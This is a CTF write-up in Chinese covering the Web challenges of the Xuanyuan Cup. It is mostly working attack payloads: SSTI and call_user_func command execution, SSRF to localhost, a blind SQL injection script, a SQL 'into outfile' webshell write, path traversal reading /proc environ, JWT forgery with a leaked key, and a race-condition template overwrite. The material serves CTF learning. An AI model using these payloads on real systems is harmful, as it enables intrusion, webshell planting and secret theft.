“轩辕杯“云盾砺剑CTF挑战赛 Web wp

文章目录

      • ezflask
      • ezjs
      • ezrce
      • ezssrf1.0
      • 签到
      • ezsql1.0
      • ez_web1
        • 非预期
        • 预期解

ezflask

ssti, 过滤了一些关键词, 绕一下就行

name={{url_for["__globals__"]["__builtins__"]["eval"]("__tropmi__"[::-1])('o''s')["po""pen"]("ls /")|attr("read")()}}

在这里插入图片描述

ezjs

查看源码可以看到这一段

game._addSuccessFn(function (scoreNow) {current_score.innerHTML = scoreNowif (scoreNow === 100000000000) {fetch('getflag.php', {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded',},body: 'score=' + scoreNow}).then(response => response.text()).then(data => {alert("恭喜你!flag是:" + data);}).catch(error => {console.error('错误:', error);});}
})

直接伪造请求就行

在这里插入图片描述

ezrce

<?php
error_reporting(0);
highlight_file(__FILE__);function waf($a) {$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "register_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval");$disable_fun = array_map('strtolower', $disable_fun);$a = strtolower($a);if (in_array($a, $disable_fun)) {echo "宝宝这对嘛,这不对噢";return false;}return $a;
}$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];if (isset($num) && $num != 1234) {echo "看来第一层对你来说是小case<br>";if (is_numeric($num) && $num > 1234) {echo "还是有点实力的嘛<br>";if (isset($new) && isset($star)) {echo "看起来你遇到难关了哈哈<br>";$b = waf($new); if ($b) { call_user_func($b, $star); echo "恭喜你,又成长了<br>";} }}
}
?>

主要是绕过waf里面被禁用的函数, 可以通过在函数名前面添加一个反斜杠\, 不影响函数的执行, 且waf也没法检查出来

?num=12345
new=\system&star=cat /flag

在这里插入图片描述

ezssrf1.0

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];if ($url == null)die("Try to add ?url=xxxx.");$x = parse_url($url);if (!$x)die("(;_;)");if ($x['host'] === null && $x['scheme'] === 'http') {echo ('Well, Going to ' . $url);$ch = curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($ch);curl_close($ch);echo ($result);
} elseecho "(^-_-^)";

感觉有点抽象, 一直尝试, 看看哪个有反应

?url=http:@localhost/flag

在这里插入图片描述

?url=http:@localhost/FFFFF11111AAAAAggggg.php

在这里插入图片描述

签到

在这里插入图片描述

得到l23evel4.php

提示了今年是多少年

在这里插入图片描述

继续levelThree.php

F12有提示

在这里插入图片描述

继续/level444Four.php

在这里插入图片描述

继续: level4545Five.php

在这里插入图片描述

直接放控制台就行

在这里插入图片描述

继续: zzpufinish.php

在这里插入图片描述

ezsql1.0

过滤了空格, 可以用/**/绕过,直接布尔盲注打

发现可以执行一些内置函数的操作, 想要查询却查不了, 试了了很久, 后面想到可以通过load_file函数读取文件, 没被ban, 但是flag不在根目录下, 读一下源码

import requests
import urllib.parse
url="http://27.25.151.26:32384/"headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}
flag = ''
i=1
while True:right = 128left = 32while left <= right:mid = (right + left) // 2params={"id":f"-1/**/or/**/ord(substr(load_file('/var/www/html/index.php')/**/from/**/{i}/**/for/**/1))>{mid}#"}res=requests.get(url=url,params=params,headers=headers,proxies={"http": None, "https": None})if 'admin' in res.text:left=mid+1else:right=mid-1i+=1flag += chr(left)print(flag)

可以拿到源码

<?php
include('connect.php');$input = $_GET['id'] ?? '';
$result_html = '';if (strpos($input, ' ') !== false) {$result_html = "<p class='error'> hacker</p>";
} else if ($input !== '') {$filtered_input = preg_replace('/select/i', '', $input);$sql = "SELECT id, username, password FROM users WHERE id = $filtered_input";$query = @$conn->query($sql);if ($query && $query->num_rows > 0) {$row = $query->fetch_assoc();// $result_html .= "<table><tr><th>ID</th><th></th><th></th></tr>";$result_html .= "<tr>";$result_html .= "<td>" . htmlspecialchars($row['id']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['username']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['password']) . "</td>";$result_html .= "</tr>";$result_html .= "</table>";} else {$result_html .= "<p class='error'></p>";}
}if ($conn instanceof mysqli && $conn->ping()) {$conn->close();
}
?><!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8"><title>User Query</title>
</head>
<body><?php echo $result_html; ?>
</body>
</html>

发现是把select替换为空了, 难怪查询的操作都执行不了
双写绕过直接写马

?id=-1/**/union/**/seselectlect/**/1,2,'<?=eval($_POST[1]);?>'into/**/outfile/**/'/var/www/html/1.php'%23

/var目录下可以发现一个db.sql文件, 里面存在flag

在这里插入图片描述

在这里插入图片描述

ez_web1

查看源码, 根据这些信息, 直接猜测出用户名和密码: fly233/123456789

在这里插入图片描述

非预期

进去到里面点击它的图书, 会发现跳转到/read的路由,三本书的路由是一样的, 但是内容不一样, 可能是存在POST传了其他的参数, 抓一下包就可以发现, 直接任意文件读, 可以直接读到flag, 直接非预期了

book_path=../../../../proc/1/environ

在这里插入图片描述

预期解

读一下源码

from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwtapp = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokendef decode_token(token):try:payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])return payloadexcept jwt.ExpiredSignatureError:return Noneexcept jwt.InvalidTokenError:return None@app.route('/')
def index():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')username = payload['username']books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]return render_template('./index.html', username=username, books=books)@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'GET':return render_template('./login.html')elif request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users and users[username] == password:token = generate_token(username)response = make_response(jsonify({'message': 'success'}), 200)response.set_cookie('token', token, httponly=True, path='/')return responseelse:return {'message': 'Invalid username or password'}@app.route('/read', methods=['POST'])
def read_book():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')book_path = request.form.get('book_path')full_path = os.path.join(book_dir, book_path)try:with open(full_path, 'r', encoding='utf-8') as file:content = file.read()return render_template('reading.html', content=content)except FileNotFoundError:return "文件未找到", 404except Exception as e:return f"发生错误: {str(e)}", 500@app.route('/upload', methods=['GET', 'POST'])
def upload():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')if request.method == 'GET':return render_template('./upload.html')if payload.get('username') != 'admin':return """<script>alert('只有管理员才有添加图书的权限');window.location.href = '/';</script>"""file = request.files['file']if file:book_path = request.form.get('book_path')file_path = os.path.join(book_path, file.filename)if not os.path.exists(book_path):return "文件夹不存在", 400file.save(file_path)with open(file_path, 'r', encoding='utf-8') as f:content = f.read()pattern = r'[{}<>_%]'if re.search(pattern, content):os.remove(file_path)return """<script>alert('SSTI,想的美!');window.location.href = '/';</script>"""return redirect(url_for('index'))return "未选择文件", 400

需要伪造admin, 读/proc/self/environ找到key

JWT_KEY=th1s_1s_k3y
import jwt
SECRET_KEY="th1s_1s_k3y"
def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokentoken_admin=generate_token("admin")
print(token_admin)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U

看到它上传文件的逻辑, 先把文件保存下来之后去检查它的文件内容, 如果有不合法的字符, 就把文件给删除, 这里很明显可以进行一个竞争去绕过它的字符过滤

一般想要进行ssti是要用到render_template_string这个模块, 但是这里并没有导入这个模块, 所以在这里就上传一个index.html文件覆盖掉原先的index.html(或者代码里面的其他的html文件都可以), 让它的内容为ssti的rce, 这样在render_template进行渲染的时候也可以执行ssti的代码

我们正常上传的文件路径是/app/books/xx.txt
然后可以通过参数filename更改上传的路径, index.html的路径是在/app/templates/index.html

可以利用前面的任意文件读测试这些文件的存在

BurpSuite抓包, 直接在intruder模块不不断的发包就行

在这里插入图片描述

然后不停的刷新浏览器, 就可以拿到flag了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/pingmian/82508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Matlab快速上手五十六:详解符号运算里假设的用法,通过假设可以设置符号变量的取值范围,也可以通过假设设置变量属于集合:整数、正数和实数等

1.符号变量中假设的概念 在符号数学工具箱中&#xff0c;符号变量默认范围是全体复数&#xff0c;也就是说&#xff0c;符号运算是在全体复数域进行的&#xff0c;若需要运算中&#xff0c;不使用全体复数域&#xff0c;可以为变量设定取值范围&#xff0c;这就用到了假设&…

【python实用小脚本-79】[HR转型]Excel难民到数据工程师|用Python实现CSV秒转JSON(附HRIS系统对接方案)

场景故事&#xff1a;从手动复制粘贴到自动化数据流转 "Kelly&#xff0c;我们需要把3000名员工的考勤数据导入新HR系统&#xff0c;今天能完成吗&#xff1f;"去年这个时候&#xff0c;作为HRIS项目负责人的我&#xff0c;面对这个需求时第一反应是打开Excel开始手…

数据透视:水安 B 证如何影响水利企业的生存指数?

某大数据公司提取了 3000 家水利企业的经营数据&#xff0c;一组关联分析令人震惊&#xff1a;B 证配备率与企业利润率的相关系数达 0.67—— 这意味着持证率每提升 10%&#xff0c;企业利润率平均提高 4.2 个百分点。当我们用数据解剖这本红本本&#xff0c;会发现它像一根无形…

从零搭建上门做饭平台:高并发订单系统设计

你知道为什么聪明人都在抢着做上门做饭平台吗&#xff1f;因为这可能是餐饮行业最后一片蓝海&#xff01;传统餐饮还在为房租人工发愁时&#xff0c;上门私厨已经轻装上阵杀出重围。不需要门店租金&#xff0c;不用养服务员&#xff0c;厨师直接上门服务&#xff0c;成本直降60…

openpi π₀ 项目部署运行逻辑(四)——机器人主控程序 main.py — aloha_real

π₀ 机器人主控脚本都在 examples 中&#xff1a; 可以看到包含了多种类机器人适配 此笔记首先记录了 aloha_real 部分 aloha_real 中&#xff0c;main.py 是 openpi ALOHA 平台上“主控执行入口”&#xff0c;负责&#xff1a; 建立与推理服务器&#xff08;serve_policy.…

利用 Python 爬虫获取唯品会 VIP 商品详情:实战指南

在当今电商竞争激烈的环境中&#xff0c;VIP 商品往往是商家的核心竞争力所在。这些商品不仅代表着品牌的高端形象&#xff0c;更是吸引高价值客户的关键。因此&#xff0c;获取 VIP 商品的详细信息对于市场分析、竞品研究以及优化自身产品策略至关重要。Python 作为一种强大的…

鸿蒙桌面快捷方式开发

桌面快捷方式开发实战 [参考文档] (https://developer.huawei.com/consumer/cn/doc/best-practices/bpta-desktop-shortcuts) 在module.json5配置文件中的abilities标签下的metadata中设置resource属性值为$profile:shortcuts_config&#xff0c;指定应用的快捷方式配置文件&…

3分钟学会跨浏览器富文本编辑器开发:精准光标定位+内容插入(附完整代码)

一、痛点直击&#xff1a;传统编辑器的三大坑 作为前端开发&#xff0c;你是否遇到过以下灵魂拷问&#xff1f; ✅ 为什么Firefox光标能精准定位&#xff0c;IE却永远跳转到开头&#xff1f;✅ 图片上传后如何保证插入位置不偏移&#xff1f;✅ 跨浏览器兼容测试时&#xff0…

RK3562 Linux-5.10 内核HUSB311 Type-C 控制器芯片调试记录

硬件原理&#xff1a; 1. type C 接口&#xff1a; 1.1 HUSB311芯片&#xff0c; CC1和CC2 逻辑接到HUSB311 上面&#xff0c; 接I2C0组和USBCC_INT_L USBCC_INT_L 接到GPIO0_A6 做为CC的逻辑中断 1.2 TYPEC_DP/TYPEC_DM 接到ARM 端的USB3.0 OTG上面 1.2 TYPEC_RX1P/TYPEC…

深入理解Java中的BigDecimal:高精度计算的核心工具

精心整理了最新的面试资料和简历模板&#xff0c;有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 引言 在Java编程中&#xff0c;处理浮点数运算时可能会遇到精度丢失的问题。例如&#xff1a; System.out.println(0.1 0.2); // 输出&#xff1a;0.30000…

大模型微调(面经总结)

持续更新中 一、LORA篇1、介绍一下Lora的原理2、LoRA 是为了解决什么问题提出的&#xff1f;哪些模型适合用 LoRA 微调&#xff1f;什么是低秩分解&#xff1f;**低秩分解&#xff1a;用小矩阵逼近大矩阵** 3、LoRA初始化4、LoRA初始化秩 r 是怎么选的&#xff1f;为什么不选其…

Camera相机人脸识别系列专题分析之一:人脸识别系列专题SOP及理论知识介绍

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a;内存泄漏和内存占用拆解系列专题 这一篇我们开始讲&#xff1a; Camera相机人脸识别系列专题分析之一&#xff1a;人脸识别系列专题SOP及理论知识…

【Elasticsearch】PUT` 请求覆盖式更新

是的&#xff0c;Elasticsearch 中的 PUT 请求是覆盖式的。当你使用 PUT 请求向索引中写入文档时&#xff0c;如果文档已经存在&#xff0c;Elasticsearch 会完全替换整个文档的内容&#xff0c;而不是进行部分更新。 覆盖式的具体行为 - 文档存在时&#xff1a;PUT 请求会用新…

计算机系统结构-第4章-数据级并行

数据集并行的概念: 并行场景1: 对不同数据执行相同的操作: 串行执行: 可以同时进行: 可以尝试一个多条指令,多核执行 引入: SISD: 单核,单线程,串行执行,这样耗时 MIMD: 多核,多线程,并行执行,一条指令多次重复,变成了MIMID 存在的问题: 在标量CPU流水线中&#xff0…

重新安装解决mac vscode点击不能跳转问题

依次执行以下过程 删除vscode程序 删除vscode的缓存文件夹(xxx表示你的用户名) /Users/xxx/Library/Application Support/Code 重新安装vscode 这时候你会反向可以跳转项目内的import 文件以及自定义函数。但是import安装的包还不能点击跳转 配置python环境 如果你电脑没有安…

题目 3334: 蓝桥杯2025年第十六届省赛真题-园艺

题目 3334: 蓝桥杯2025年第十六届省赛真题-园艺 时间限制: 2s 内存限制: 192MB 提交: 129 解决: 37 题目描述 小蓝从左到右种了 n 棵小树&#xff0c;第 i 棵树的高度为 hi &#xff0c;相邻树的间隔相同。 小蓝想挪走一些树使得剩下的树等间隔分布&#xff0c;且从左到右高度逐…

Chrome 开发中的任务调度与线程模型实战指南

内容 概述 快速入门指南 核心概念线程词典 线程任务优先使用序列而不是物理线程 发布并行任务 直接发布到线程池通过 TaskRunner 发布 发布顺序任务 发布到新序列发布到当前&#xff08;虚拟&#xff09;主题 使用序列代替锁将多个任务发布到同一线程 发布到浏览器进程中的主线…

详解osgb的顶点,纹理,索引,UV读取与存储

virtual void apply(osg::Geode& node) {for (int i 0; i < node.getNumDrawables(); i){osg::Geometry* geometry dynamic_cast<osg::Geometry*>(node.getDrawable(i));if (geometry){//apply(*g);//***********************************************//解析顶点…

CSS闯关指南:从手写地狱到“类”积木之旅|得物技术

一、背景 在Web开发网页设计中&#xff0c;CSS&#xff08;层叠样式表&#xff09;扮演着至关重要的角色&#xff0c;它用于控制网页的布局、外观和视觉效果。CSS不仅可以美化网页的视觉表现&#xff0c;还可以提高网页的可访问性、可维护性和响应式设计。在我们进行网页开发的…

【大模型应用开发】Qwen2.5-VL-3B识别视频

0. 编写代码并尝试运行 克隆以下代码 git clone https://gitee.com/ai-trailblazer/qwen-vl-hello.git 尝试运行qwen-vl-hello.py&#xff0c;报错原因缺少modelscope&#xff1a; 1. 安装qwen-vl-utils工具包 pip install qwen-vl-utils[decord]0.0.8 尝试运行&#xff0c;…